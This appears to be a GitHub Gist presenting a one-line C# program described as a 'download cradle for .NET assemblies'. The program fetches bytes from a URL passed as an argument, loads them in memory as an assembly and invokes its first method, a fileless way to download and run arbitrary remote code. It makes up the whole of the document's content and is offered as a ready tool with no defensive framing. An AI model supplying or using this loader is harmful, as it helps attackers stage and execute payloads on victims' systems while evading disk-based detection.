Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save xstpl/23b4fcd28832c0c1d188acf3b630fb55 to your computer and use it in GitHub Desktop.
Save xstpl/23b4fcd28832c0c1d188acf3b630fb55 to your computer and use it in GitHub Desktop.
A download cradle for .NET assemblies.
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment